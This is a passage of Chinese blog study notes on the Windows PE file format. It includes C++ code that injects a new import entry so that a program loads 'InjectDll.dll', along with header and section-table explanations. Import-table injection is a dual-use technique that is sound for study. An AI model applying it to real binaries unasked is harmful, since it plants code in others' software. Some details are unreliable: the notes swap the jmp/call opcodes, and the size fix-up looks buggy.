<p>此处使用的dll名字InjectDll.dll,函数名字:ExportFunction,git目录中有这个dll</p>
<p><strong>注意修改int表,iat表,导入表的结尾,要多一个这个结构,并且全是0,特别是导入表,注意大小是0x14h</strong></p>
<p>步骤:</p>
<p>1.新加一个节(可以找节的空白处添加,注意计算添加数据大小,这里我直接添加新节了)</p>
<p>2.把所有导入表copy到这个节数据端,**(这里有坑,如果按照OptionalHeader.DataDirectory[1].Size的大小复制导入表,因为这个大小其实是最后一个导入表+0x14个00的大小,所以复制的位置应该是size-0x14的位置,复制完后再填充一个0x14的00)**然后新加一个导入表结构,</p>
<p>3.新加IAT,INT表结构,因为这里函数名只有一个,所以这两个结构都要加8字节就行(最后4个字节是00),<strong>记得赋值给OriginalFirstThunk和FirstThunk</strong></p>
<p>4.新加IMAGE_IMPORT_BY_NAME结构,函数名字拷贝到IMAGE_IMPORT_BY_NAME->Name,这个结构的起始地址赋值给IAT,INT表。</p>
<p>5.复制dll名字,起始地址**(rva)**赋值给新加的导入表->Name。</p>
<p>6.修正修正IMAGE_DATA_DIRECTORY结构的<strong>VirtualAddress</strong>和<strong>Size</strong></p>
<p>程序实现,虽然好像写的很拉,调了2小时,最后还是成功了</p>
<figure class="highlight c++"><table><tr><td class="code"><pre><code class="hljs c++"><span class="hljs-function">LPVOID <span class="hljs-title">injectDESCRIPTOR</span><span class="hljs-params">(LPVOID pFileBuffer)</span></span><br><span class="hljs-function"></span>{<br> PIMAGE_IMPORT_DESCRIPTOR pDescriptor = <span class="hljs-literal">NULL</span>;<br> PIMAGE_NT_HEADERS pNtHeaders = <span class="hljs-literal">NULL</span>;<br> PIMAGE_IMPORT_BY_NAME pImportbyname = <span class="hljs-literal">NULL</span>;<br> PIMAGE_IMPORT_DESCRIPTOR pDescriptorture = <span class="hljs-literal">NULL</span>;<br> PIMAGE_IMPORT_BY_NAME namefuction = <span class="hljs-literal">NULL</span>;<br><br><br><br><br> pNtHeaders = <span class="hljs-built_in">FileToNtHeader</span>(pFileBuffer);<br><br><br> <span class="hljs-comment">//第一步</span><br> <span class="hljs-comment">//根据目录项得到导入表的信息,得到Size:导入表的总大小</span><br> pNtHeaders = <span class="hljs-built_in">FileToNtHeader</span>(pFileBuffer);<br> DWORD sizeofDescriper = pNtHeaders->OptionalHeader.DataDirectory[<span class="hljs-number">1</span>].Size;<br> <span class="hljs-comment">//定位导入表</span><br> pDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)pNtHeaders->OptionalHeader.DataDirectory[<span class="hljs-number">1</span>].VirtualAddress;<br> <span class="hljs-comment">//此时在内存中的地址要加pFileBuffer</span><br> pDescriptorture = <span class="hljs-built_in">PIMAGE_IMPORT_DESCRIPTOR</span>(<span class="hljs-built_in">RVAtoFOA</span>((DWORD)pDescriptor, pFileBuffer) + (DWORD)pFileBuffer);<br> <span class="hljs-comment">//得到OriginalFirstThunk,FirstThunk的地址</span><br> <span class="hljs-comment">//OriginalFirstThunk</span><br> <span class="hljs-comment">//DWORD* startThunk = (DWORD*)(RVAtoFOA((DWORD)pDescriptorture->OriginalFirstThunk, pFileBuffer) + (DWORD)pFileBuffer);</span><br> <span class="hljs-comment">//FirstThunk</span><br> <span class="hljs-comment">//DWORD* startFirstThunk = (DWORD*)(RVAtoFOA((DWORD)pDescriptorture->FirstThunk, pFileBuffer) + (DWORD)pFileBuffer);</span><br><br> <span class="hljs-comment">/* </span><br><span class="hljs-comment"> */</span><br> PIMAGE_SECTION_HEADER pSectionHeaderBase = <span class="hljs-literal">NULL</span>;<br> LPVOID start = <span class="hljs-literal">NULL</span>;<br> PIMAGE_EXPORT_DIRECTORY exportDIRECTORY = <span class="hljs-literal">NULL</span>;<br> pNtHeaders = <span class="hljs-built_in">FileToNtHeader</span>(pFileBuffer);<br> pSectionHeaderBase = <span class="hljs-built_in">LocateSectionBase</span>(pFileBuffer);<br> <span class="hljs-comment">//找最后一个节</span><br> <span class="hljs-comment">//这里直接新创建一个节了就不判断大小了(用之前的函数创建完传入filebufer)</span><br><br> PIMAGE_SECTION_HEADER pLaswSectionHeaderBase = <span class="hljs-built_in">PIMAGE_SECTION_HEADER</span>((BYTE*)pSectionHeaderBase + (DWORD)(<span class="hljs-number">0x28</span> * (pNtHeaders->FileHeader.NumberOfSections - <span class="hljs-number">1</span>)));<br> <span class="hljs-comment">//找最后一个节的开始地址</span><br> start = (LPVOID)(pLaswSectionHeaderBase->PointerToRawData + (DWORD)pFileBuffer);<br> LPVOID starttest = (LPVOID)(pLaswSectionHeaderBase->PointerToRawData + (DWORD)pFileBuffer);<span class="hljs-comment">//记录内存空间中复制开始的地址</span><br><br> <span class="hljs-comment">//导入表copy到空白区</span><br> <span class="hljs-built_in">memcpy</span>(start, pDescriptorture, sizeofDescriper);<br> start = (LPVOID)((DWORD)start + sizeofDescriper);<span class="hljs-comment">//这个是最后一个导入表+1个空的导入表的位置</span><br> start = (LPVOID)((DWORD)start - <span class="hljs-number">0x14</span>);<br><br> <span class="hljs-comment">//追加一个导入表</span><br> PIMAGE_IMPORT_DESCRIPTOR pNewdescripitor = (PIMAGE_IMPORT_DESCRIPTOR)start;<br> <span class="hljs-built_in">memcpy</span>(start,starttest,<span class="hljs-number">0x14</span>);<br> start = (LPVOID)((DWORD)start + <span class="hljs-number">2</span>*<span class="hljs-number">0x14</span>);<br> <span class="hljs-comment">//start = (DWORD*)start + 1;</span><br><br><br> <span class="hljs-comment">//追加8个字节的INT表和IAT表</span><br> DWORD* startINT = (DWORD*)start;<br> pNewdescripitor->OriginalFirstThunk = (DWORD)pLaswSectionHeaderBase->VirtualAddress + (DWORD)start - (DWORD)starttest;<br> start = startINT + <span class="hljs-number">2</span>;<br> <span class="hljs-comment">//追加8字节的IAT表</span><br> DWORD* startIAT = (DWORD*)start;<br> pNewdescripitor->FirstThunk = (DWORD)pLaswSectionHeaderBase->VirtualAddress + (DWORD)start - (DWORD)starttest;<br> start = startIAT + <span class="hljs-number">2</span>;<br><br> <span class="hljs-comment">//追加IMAGE_IMPORT_BY_NAME,因为本来创建节就为0,所以跳过前2个字节存储函数名字</span><br> PIMAGE_IMPORT_BY_NAME Importbyname = (PIMAGE_IMPORT_BY_NAME)start;<br> DWORD ImportbynameRva = (DWORD)pLaswSectionHeaderBase->VirtualAddress + (DWORD)start - (DWORD)starttest;<br> <span class="hljs-comment">//赋值给int和iat表</span><br> *startINT = ImportbynameRva;<br> *startIAT = ImportbynameRva;<br> <span class="hljs-comment">//存储函数名字</span><br> <span class="hljs-built_in">memcpy</span>(Importbyname->Name, <span class="hljs-string">"ExportFunction"</span>, <span class="hljs-built_in"><span class="hljs-keyword">sizeof</span></span>(<span class="hljs-string">"ExportFunction"</span>));<br> <br> start = (LPVOID)((DWORD)start + <span class="hljs-number">2</span> + <span class="hljs-built_in"><span class="hljs-keyword">sizeof</span></span>(<span class="hljs-string">"ExportFunction"</span>) );<span class="hljs-comment">//\0字符串结尾</span><br><br> <span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span>* dllname =<span class="hljs-literal">NULL</span>;<br> dllname = <span class="hljs-string">"InjectDll.dll"</span>;<br><br> <span class="hljs-comment">//复制dll名字</span><br> PCHAR dllName = (PCHAR)start;<br> <span class="hljs-built_in">memcpy</span>(dllName, <span class="hljs-string">"InjectDll.dll"</span>, <span class="hljs-built_in"><span class="hljs-keyword">sizeof</span></span>(<span class="hljs-string">"InjectDll.dll"</span>));<br> DWORD dllnameRva = (DWORD)pLaswSectionHeaderBase->VirtualAddress + (DWORD)start - (DWORD)starttest;<br> start = (LPVOID)((DWORD)start + <span class="hljs-built_in"><span class="hljs-keyword">sizeof</span></span>(<span class="hljs-string">"InjectDll.dll"</span>) );<span class="hljs-comment">//+1是\0字符串结尾</span><br><br><br> <span class="hljs-comment">//把这个rva赋值给导入表的name属性</span><br> pNewdescripitor->Name = dllnameRva;<br><br> <span class="hljs-comment">//修正IMAGE_DATA_DIRECTORY结构的VirtualAddress和Size</span><br> pNtHeaders->OptionalHeader.DataDirectory[<span class="hljs-number">1</span>].VirtualAddress = (DWORD)starttest-(DWORD)pFileBuffer;<br> pNtHeaders->OptionalHeader.DataDirectory[<span class="hljs-number">1</span>].Size = sizeofDescriper + <span class="hljs-built_in"><span class="hljs-keyword">sizeof</span></span>(_IMAGE_EXPORT_DIRECTORY);<br><br> <span class="hljs-comment">//DWORD sizeofnewDescriptor = 20 + 16;</span><br><br><br> <span class="hljs-comment">//free(pImageBuffer);</span><br> <span class="hljs-keyword">return</span> pFileBuffer;<br>}<br></code></pre></td></tr></table></figure>
<img src="/2022/03/17/PE%E6%96%87%E4%BB%B6%E7%BB%93%E6%9E%84%E5%AD%A6%E4%B9%A0-2/image-20220317171414111.png" alt="image-20220317171414111" style="zoom:80%;">
<img src="/2022/03/17/PE%E6%96%87%E4%BB%B6%E7%BB%93%E6%9E%84%E5%AD%A6%E4%B9%A0-2/image-20220317171346388.png" alt="image-20220317171346388" style="zoom:67%;">
]]></content>
<categories>
<category>逆向学习</category>
<category>学习</category>
</categories>
<tags>
<tag>逆向学习</tag>
</tags>
</entry>
<entry>
<title>PE文件结构学习记录-1</title>
<url>/2022/02/23/PE%E6%96%87%E4%BB%B6%E7%BB%93%E6%9E%84%E5%AD%A6%E4%B9%A0%E9%9A%8F%E8%AE%B0-1/</url>
<content><![CDATA[<h1 id="内存读写复习"><a class="markdownIt-Anchor" href="#内存读写复习"></a> 内存读写复习</h1>
<p>想当年也是做pwn题的,又看了看视频,发现有些东西还是忘记了。。。</p>
<figure class="highlight x86asm"><table><tr><td class="code"><pre><code class="hljs x86asm"><span class="hljs-built_in">byte</span> <span class="hljs-number">8</span>位<br><span class="hljs-built_in">WORD</span> <span class="hljs-number">16</span>位<br><span class="hljs-built_in">DWORD</span> <span class="hljs-number">32</span>位<br><br>取值<br><span class="hljs-keyword">MOV</span> <span class="hljs-built_in">EAX</span>,<span class="hljs-built_in">DWORD</span> <span class="hljs-built_in">PTR</span> <span class="hljs-built_in">DS</span>:[<span class="hljs-number">0x123FC2</span>]<br>取内存地址 编号<br><span class="hljs-keyword">LEA</span> <span class="hljs-built_in">EAX</span>,<span class="hljs-built_in">DWORD</span> <span class="hljs-built_in">PTR</span> <span class="hljs-built_in">DS</span>:[<span class="hljs-number">0x123FC2</span>]<br>内存前的<span class="hljs-built_in">DS</span> <span class="hljs-built_in">ES</span> <span class="hljs-built_in">SS</span><br><span class="hljs-built_in">DS</span> 是个数 <br><span class="hljs-built_in">ESP</span> <span class="hljs-built_in">EBP</span>: <span class="hljs-built_in">SS</span><br><span class="hljs-built_in">EDI</span> :<span class="hljs-built_in">ES</span><br><br><span class="hljs-built_in">ESP</span> 栈顶<br><span class="hljs-built_in">EBP</span> 栈底<br><span class="hljs-keyword">push</span> 入栈<br><span class="hljs-keyword">pop</span> 出栈<br>栈高往低走<br><br><span class="hljs-keyword">push</span> 相当<br><span class="hljs-keyword">lea</span> <span class="hljs-built_in">esp</span>,<span class="hljs-built_in">dword</span> <span class="hljs-built_in">ptr</span> <span class="hljs-built_in">ss</span>:[<span class="hljs-built_in">esp</span>-<span class="hljs-number">4</span>]<br><span class="hljs-keyword">mov</span> <span class="hljs-built_in">dword</span> <span class="hljs-built_in">ptr</span> <span class="hljs-built_in">ss</span>[<span class="hljs-built_in">esp</span>],<span class="hljs-built_in">eax</span><br>栈顶拔高<br><br><span class="hljs-built_in">ECX</span> 值决定<span class="hljs-keyword">REP</span>指令重复次数<br>stos指令,它的功能是将<span class="hljs-built_in">eax</span>中的数据放入的<span class="hljs-built_in">edi</span>所指的地址中,同时,<span class="hljs-built_in">edi</span>会增加<span class="hljs-number">4</span>个字节,<span class="hljs-keyword">rep</span>使指令重复执行<span class="hljs-built_in">ecx</span>中填写的次数。<br>方括弧表示存储器,这个地址实际上是<span class="hljs-built_in">edi</span>的内容所指向的地址。这里的stos其实对应的是<span class="hljs-keyword">stosd</span>,其它的还有<br><span class="hljs-keyword">CALL</span> : <span class="hljs-built_in">EIP</span>改为函数地址,返回地址压栈<br><span class="hljs-keyword">RET</span> 返回时改<span class="hljs-built_in">EIP</span>(弹栈,<span class="hljs-built_in">esp</span>加)<br><br><br></code></pre></td></tr></table></figure>
<h1 id="pe头解析"><a class="markdownIt-Anchor" href="#pe头解析"></a> pe头解析</h1>
<p>内容</p>
<p><img src="/2022/02/23/PE%E6%96%87%E4%BB%B6%E7%BB%93%E6%9E%84%E5%AD%A6%E4%B9%A0%E9%9A%8F%E8%AE%B0-1/5b4b62c4c1faa.jpg" alt="5b4b62c4c1faa"></p>
<p>以下内容有<em>参考</em>x复制✓[<a href="https://bbs.pediy.com/thread-270210.htm">原创]归纳PE结构基础知识,顺便手撕个PE-编程技术-看雪论坛-安全社区|安全招聘|bbs.pediy.com</a></p>
<p>内存对齐和硬盘对齐</p>
<p>就是一个pe文件在硬盘上的数据可能和硬盘中的不一样</p>
<p>因为老软件硬盘对齐是200h</p>
<p>内存对齐是1000h</p>
<p>后来就对齐一样了</p>
<p>使用分节结构原因:</p>
<p>节省内存,多开的时候只需要</p>
<h2 id="dos头"><a class="markdownIt-Anchor" href="#dos头"></a> DOS头</h2>
<figure class="highlight lasso"><table><tr><td class="code"><pre><code class="hljs lasso">typedef struct _IMAE_DOS_HEADER<br>{ <br> WORD e_magic; <span class="hljs-comment">// 0x00, 'MZ'(0x5A4D)标识 </span><br> <span class="hljs-params">...</span><span class="hljs-params">...</span><span class="hljs-params">...</span><span class="hljs-params">...</span><br> LONG e_lfanew; <span class="hljs-comment">// 0x3C, PE头的起始地址,默认0xB0处</span><br>} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER; <br><br></code></pre></td></tr></table></figure>
<p><strong>重要:</strong><br>
<strong>1.WORD e_magic</strong>(0x00处)<br>
● 对应PE文件的开头,是PE文件DOS头的标识符"MZ"→0x5A4D<br>
○ 对应Winnt.h头文件中宏定义: #define IMAGE_DOS_SIGNATURE 0x4D5A // MZ<br>
<strong>2.LONG e_lfanew</strong>(0x3C处)<br>
● 对应PE文件0x3C处指向NT头在文件中的偏移(默认0xB0),即32位及以上系统文件头在文件中真正的偏移</p>
<h2 id="2nt头"><a class="markdownIt-Anchor" href="#2nt头"></a> 2.NT头</h2>
<h3 id="1dword-signaturepe000x00004550"><a class="markdownIt-Anchor" href="#1dword-signaturepe000x00004550"></a> (1)DWORD Signature:"PE\0\0"→0x00004550</h3>
<h3 id="2文件头结构体-image_file_header-fileheader标准pe头"><a class="markdownIt-Anchor" href="#2文件头结构体-image_file_header-fileheader标准pe头"></a> (2)文件头结构体 IMAGE_FILE_HEADER FileHeader(标准PE头)</h3>
<figure class="highlight cpp"><table><tr><td class="code"><pre><code class="hljs cpp"><span class="hljs-comment">// 文件头结构体: _IMAGE_FILE_HEADER</span><br><span class="hljs-keyword">typedef</span> <span class="hljs-class"><span class="hljs-keyword">struct</span> _<span class="hljs-title">IMAGE_FILE_HEADER</span>{</span><br> WORD Machine; <span class="hljs-comment">// +0x00, 指定程序的运行平台,勿改</span><br> WORD NumberOfSections; <span class="hljs-comment">// +0x02, PE中的节/块(section)数量,勿改</span><br> DWORD TimeDateStamp; <span class="hljs-comment">// +0x04, 时间戳:链接器填写的文件生成时间</span><br> DWORD PointerToSymbolTable; <span class="hljs-comment">// +0x08, 指向符号表的地址(主要用于调试)</span><br> DWORD NumberOfSymbols; <span class="hljs-comment">// +0x0C, 符号表中符号个数(同上)</span><br> WORD SizeOfOptionalHeader; <span class="hljs-comment">// +0x10, IMAGE_OPTIONAL_HEADER32选项头结构大小,勿改</span><br> WORD Characteristics; <span class="hljs-comment">// +0x12, 文件属性,勿改</span><br>} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;<br> <br><span class="hljs-comment">//* 字段1:Machine 表CPU的类型, 定义在windows.h中,常用类型</span><br> <span class="hljs-number">32</span>位:<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> IMAGE_FILE_MACHINE_I386, 0x014c <span class="hljs-comment">// Intel 386, x86</span></span><br> <span class="hljs-number">64</span>位:<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> IMAGE_FILE_MACHINE_AMD64, 0x8664 <span class="hljs-comment">// AMD64(KB), x64</span></span><br><span class="hljs-comment">//* 字段2:NumberOfSections 表PE中的节(section)数量:</span><br> 节表紧跟在IMAGE_NT_HEADERS后面,此字段决定了节表中元素的个数,即节的个数<br> 遍历节表经验:根据此处的个数拿对应的节表数据<br><span class="hljs-comment">//* 字段6:SizeOfOptionalHeader 表IMAGE_OPTIONAL_HEADER32 结构大小</span><br> 定位节表位置=选项头地址+选项头大小<br><span class="hljs-comment">//* 字段7: Characteristics 表文件属性,EXE默认0100,DLL默认210Eh,或运算组合设置。</span><br><span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> IMAGE_FILE_RELOCS_STRIPPED 0x0001 <span class="hljs-comment">// 文件中不存在重定位信息</span></span><br><span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> IMAGE_FILE_EXECUTABLE_IMAGE 0x0002 <span class="hljs-comment">// 文件可执行</span></span><br><span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> IMAGE_FILE_LINE_NUMS_STRIPPED 0x0004 <span class="hljs-comment">// 文件中不存在行信息</span></span><br><span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> IMAGE_FILE_LOCAL_SYMS_STRIPPED 0x0008 <span class="hljs-comment">// 文件中不存在符号信息</span></span><br><span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> IMAGE_FILE_AGGRESIVE_WS_TRIM 0x0010 <span class="hljs-comment">// 调整工作集</span></span><br><span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> IMAGE_FILE_LARGE_ADDRESS_AWARE 0x0020 <span class="hljs-comment">// 程序能处理大于2G的地址</span></span><br><span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> IMAGE_FILE_BYTES_REVERSED_LO 0x0080 <span class="hljs-comment">// 小尾方式</span></span><br><span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> IMAGE_FILE_32BIT_MACHINE 0x0100 <span class="hljs-comment">// 只在32位平台上运行</span></span><br><span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> IMAGE_FILE_DEBUG_STRIPPED 0x0200 <span class="hljs-comment">// 不包含调试信息</span></span><br><span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> IMAGE_FILE_REMOVABLE_RUN_FROM_SWAP 0x0400 <span class="hljs-comment">// 不能从可移动盘运行</span></span><br><span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> IMAGE_FILE_NET_RUN_FROM_SWAP 0x0800 <span class="hljs-comment">// 不能从网络运行 </span></span><br><span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> IMAGE_FILE_SYSTEM 0x1000 <span class="hljs-comment">// 系统文件(如驱动程序),不能直接运行</span></span><br><span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> IMAGE_FILE_DLL 0x2000 <span class="hljs-comment">// 是一个dll文件</span></span><br><span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> IMAGE_FILE_UP_SYSTEM_ONLY 0x4000 <span class="hljs-comment">// 文件不能在多处理器计算机上运行</span></span><br><span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> IMAGE_FILE_BYTES_REVERSED_HI 0x8000 <span class="hljs-comment">// 大尾方式</span></span><br></code></pre></td></tr></table></figure>
<h3 id="3选项头结构体image_optional_header区分32位和64位可选pe头"><a class="markdownIt-Anchor" href="#3选项头结构体image_optional_header区分32位和64位可选pe头"></a> (3)选项头结构体IMAGE_OPTIONAL_HEADER(区分32位和64位,可选PE头)</h3>
<figure class="highlight awk"><table><tr><td class="code"><pre><code class="hljs awk">typedef struct _IMAGE_OPTIONAL_HEADER<br>{<br> WORD Magic; <span class="hljs-regexp">//</span>* PE标志字:<span class="hljs-number">32</span>位(<span class="hljs-number">0</span>x10B),<span class="hljs-number">64</span>位(<span class="hljs-number">0</span>x20B)<br> BYTE MajorLinkerVersion; <span class="hljs-regexp">//</span> 主链接器版本号<br> BYTE MinorLinkerVersion; <span class="hljs-regexp">//</span> 副链接器版本号<br> DWORD SizeOfCode; <span class="hljs-regexp">//</span> 代码所占空间大小(代码节大小)<br> DWORD SizeOfInitializedData; <span class="hljs-regexp">//</span> 已初始化数据所占空间大小<br> DWORD SizeOfUninitializedData; <span class="hljs-regexp">//</span> 未初始化数据所占空间大小<br> DWORD AddressOfEntryPoint; <span class="hljs-regexp">//</span>* 程序执行入口RVA,(w)(Win)mainCRTStartup:即<span class="hljs-number">0</span>D首次断下来的自进程地址<br> DWORD BaseOfCode; <span class="hljs-regexp">//</span> 代码段基址<br> DWORD BaseOfData; <span class="hljs-regexp">//</span> 数据段基址<br> DWORD ImageBase; <span class="hljs-regexp">//</span>* 内存加载基址,exe默认<span class="hljs-number">0</span>x400000,dll默认<span class="hljs-number">0</span>x10000000<br> DWORD SectionAlignment; <span class="hljs-regexp">//</span>* 节区数据在内存中的对齐值,一定是<span class="hljs-number">4</span>的倍数,一般是<span class="hljs-number">0</span>x1000(<span class="hljs-number">4096</span>=<span class="hljs-number">4</span>K)<br> DWORD FileAlignment; <span class="hljs-regexp">//</span>* 节区数据在文件中的对齐值,一般是<span class="hljs-number">0</span>x200(磁盘扇区大小<span class="hljs-number">512</span>)<br> WORD MajorOperatingSystemVersion; <span class="hljs-regexp">//</span> 要求操作系统最低版本号的主版本号<br> WORD MinorOperatingSystemVersion; <span class="hljs-regexp">//</span> 要求操作系统最低版本号的副版本号<br> WORD MajorImageVersion; <span class="hljs-regexp">//</span> 可运行于操作系统的主版本号<br> WORD MinorImageVersion; <span class="hljs-regexp">//</span> 可运行于操作系统的次版本号<br> WORD MajorSubsystemVersion; <span class="hljs-regexp">//</span> 主子系统版本号:不可修改<br> WORD MinorSubsystemVersion; <span class="hljs-regexp">//</span> 副子系统版本号<br> DWORD Win32VersionValue; <span class="hljs-regexp">//</span> 版本号:不被病毒利用的话一般为<span class="hljs-number">0</span>,XP中不可修改<br> DWORD SizeOfImage; <span class="hljs-regexp">//</span>* PE文件在进程内存中的总大小,与SectionAlignment对齐<br> DWORD SizeOfHeaders; <span class="hljs-regexp">//</span>* PE文件头部在文件中的按照文件对齐后的总大小(所有头 + 节表)<br> DWORD CheckSum; <span class="hljs-regexp">//</span> 对文件做校验,判断文件是否被修改:<span class="hljs-number">3</span>环无用,MapFileAndCheckSum获取<br> WORD Subsystem; <span class="hljs-regexp">//</span> 子系统,与连接选项<span class="hljs-regexp">/system相关:1=驱动程序,2=图形界面,3=控制台/</span>Dll<br> WORD DllCharacteristics; <span class="hljs-regexp">//</span> 文件特性<br> DWORD SizeOfStackReserve; <span class="hljs-regexp">//</span> 初始化时保留的栈大小<br> DWORD SizeOfStackCommit; <span class="hljs-regexp">//</span> 初始化时实际提交的栈大小<br> DWORD SizeOfHeapReserve; <span class="hljs-regexp">//</span> 初始化时保留的堆大小<br> DWORD SizeOfHeapCommit; <span class="hljs-regexp">//</span> 初始化时实际提交的堆大小<br> DWORD LoaderFlags; <span class="hljs-regexp">//</span> 已废弃,与调试有关,默认为 <span class="hljs-number">0</span><br> DWORD NumberOfRvaAndSizes; <span class="hljs-regexp">//</span> 下边数据目录的项数,此字段自Windows NT发布以来,一直是<span class="hljs-number">16</span><br> IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];<span class="hljs-regexp">//</span> 数据目录表<br>} IMAGE_OPTIONAL_HEADER32, * PIMAGE_OPTIONAL_HEADER32;<br> <br><span class="hljs-regexp">//</span>* 字段<span class="hljs-number">6</span>:AddressOfEntryPoint 表 程序入口RVA,即OEP:<br> EOP:程序入口点,壳相关概念<br> OEP:原本的程序入口点(实际为偏移,+模块基址=实际入口点)<br> EP: 被加工后的入口点<br><span class="hljs-regexp">//</span>* 字段<span class="hljs-number">9</span>:ImageBase 表 模块加载基地址,exe默认<span class="hljs-number">0</span>x400000,dll默认<span class="hljs-number">0</span>x10000000<br> 建议装载地址:exe映射加载到内存中的首地址= PE <span class="hljs-number">0</span>处,即实例句柄hInstance<br> 一般而言,exe文件可遵从装载地址建议,但dll文件无法满足<br><span class="hljs-regexp">//</span>* 尾字段:DataDirectory 表 数据目录表,用来定义多种不通用处的数据块。<br> 存储了PE中各个表的位置,详情参考IMAGE_DIRECTORY_ENTRY...系列宏<br></code></pre></td></tr></table></figure>
<h2 id="3节表"><a class="markdownIt-Anchor" href="#3节表"></a> 3.节表</h2>
<h3 id="1节表总概"><a class="markdownIt-Anchor" href="#1节表总概"></a> (1)节表总概</h3>
<ul>
<li>
<p>节表:描述PE文件与内存之间的映射关系,由一系列的IMAGE_SECTION_HEADER结构排列而成,每个结构用来描述一个节(每个节占用0x28h),说明PE文件的指定内容拷贝至内存的哪个位置、拷贝大小及内存属性的设置。结构的排列顺序和它们描述的节在文件中的排列顺序是一致的。全部有效结构的最后以一个空的IMAGE_SECTION_HEADER结构作为结束,所以节表中总的IMAGE_SECTION_HEADER结构数量等于节的数量加一。节表总是被存放在紧接在PE文件头的地方。</p>
</li>
<li>
<p>节表大小 = FileHeader.NumberOfSections(节数量)* IMAGE_SECTION_HEADER 结构体。</p>
<figure class="highlight c++"><table><tr><td class="code"><pre><code class="hljs c++"><span class="hljs-comment">// IMAGE_SECTION_HEADER 节表结构体,大小40B</span><br><span class="hljs-keyword">typedef</span> <span class="hljs-class"><span class="hljs-keyword">struct</span> _<span class="hljs-title">IMAGE_SECTION_HEADER</span> {</span><br> BYTE Name[IMAGE_SIZEOF_SHORT_NAME]; <span class="hljs-comment">// 节表名称:描述性字段</span><br> <span class="hljs-comment">// 下方4个字段:从文件S1处开始,拷贝S2大小的数据,到内存S3处,有效数据占用内存S4大小</span><br> <span class="hljs-class"><span class="hljs-keyword">union</span> {</span><br> DWORD PhysicalAddress;<br> DWORD VirtualSize; <span class="hljs-comment">// S4:内存大小</span><br> } Misc;<br> DWORD VirtualAddress; <span class="hljs-comment">// S3:内存地址:基于模块基址</span><br> DWORD SizeOfRawData; <span class="hljs-comment">// (拷贝的到内存数据大小)S2:文件对齐大小</span><br> DWORD PointerToRawData; <span class="hljs-comment">// (节在文件中偏移)S1:文件偏移</span><br> DWORD PointerToRelocations; <span class="hljs-comment">// 无用</span><br> DWORD PointerToLinenumbers; <span class="hljs-comment">// 无用</span><br> WORD NumberOfRelocations; <span class="hljs-comment">// 无用</span><br> WORD NumberOfLinenumbers; <span class="hljs-comment">// 无用</span><br> DWORD Characteristics; <span class="hljs-comment">// 节属性,取值IMAGE_SCN_...系列宏</span><br>} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;<br></code></pre></td></tr></table></figure>
<p><img src="/2022/02/23/PE%E6%96%87%E4%BB%B6%E7%BB%93%E6%9E%84%E5%AD%A6%E4%B9%A0%E9%9A%8F%E8%AE%B0-1/1.jpg" alt="img"></p>
</li>
</ul>
<p>节属性常用位含义</p>
<p>节表置于选项头之后,节表首地址 计算方法:</p>
<p>选项头的地址 + 选项头的大小;</p>
<p>(2) e_lfanew+4+0x14(文件头大小)+0xE0(32位选项头大小)64位是0xF0。</p>
<p><img src="/2022/02/23/PE%E6%96%87%E4%BB%B6%E7%BB%93%E6%9E%84%E5%AD%A6%E4%B9%A0%E9%9A%8F%E8%AE%B0-1/image-20220227003416563.png" alt="image-20220227003416563"></p>
<h2 id="filebuffer文件里的数据状态与imagebuffer内存里的数据状态"><a class="markdownIt-Anchor" href="#filebuffer文件里的数据状态与imagebuffer内存里的数据状态"></a> FileBuffer(文件里的数据状态)与ImageBuffer(内存里的数据状态)</h2>
<img src="/2022/02/23/PE%E6%96%87%E4%BB%B6%E7%BB%93%E6%9E%84%E5%AD%A6%E4%B9%A0%E9%9A%8F%E8%AE%B0-1/image-20220227205440595.png" alt="image-20220227205440595" style="zoom:80%;">
<figure class="highlight plain"><table><tr><td class="code"><pre><code class="hljs plain">SizeOfRawData不一定比Misc大,因为Misc在文件中,可能是在文件里未初始化未进行分配的值(记录的是在内存中的大小)<br></code></pre></td></tr></table></figure>
<img src="/2022/02/23/PE%E6%96%87%E4%BB%B6%E7%BB%93%E6%9E%84%E5%AD%A6%E4%B9%A0%E9%9A%8F%E8%AE%B0-1/image-20220227212440476.png" alt="image-20220227212440476" style="zoom:67%;">
<figure class="highlight cmake"><table><tr><td class="code"><pre><code class="hljs cmake">写代码的坑<br>vs fopen_s 函数:<br>第一个参数是<span class="hljs-keyword">FILE</span> *指针<br>第二个文件名字<br>第三个是方法<br></code></pre></td></tr></table></figure>
<h1 id="call-jmp"><a class="markdownIt-Anchor" href="#call-jmp"></a> call jmp</h1>
<figure class="highlight avrasm"><table><tr><td class="code"><pre><code class="hljs avrasm"><span class="hljs-keyword">jmp</span> = E8<br><span class="hljs-keyword">jmp</span>后面的值<span class="hljs-built_in">x</span> = <span class="hljs-keyword">jmp</span>后一条指令地址(运行时内存中的地址)+要跳转的地址<br><span class="hljs-keyword">call</span> = E9<br><span class="hljs-keyword">call</span> 后面的值同上,均是运行时内存中的地址<br></code></pre></td></tr></table></figure>
<h1 id="指针"><a class="markdownIt-Anchor" href="#指针"></a> 指针</h1>
<figure class="highlight x86asm"><table><tr><td class="code"><pre><code class="hljs x86asm">(<span class="hljs-built_in">byte</span>*)转<span class="hljs-built_in">byte</span>型指针<br>(<span class="hljs-built_in">dword</span>)要用指针算地址的时候转的<span class="hljs-built_in">dword</span>类型<br>都是强制类型转换<br></code></pre></td></tr></table></figure>
<h1 id="任意空白区添加代码"><a class="markdownIt-Anchor" href="#任意空白区添加代码"></a> 任意空白区添加代码</h1>
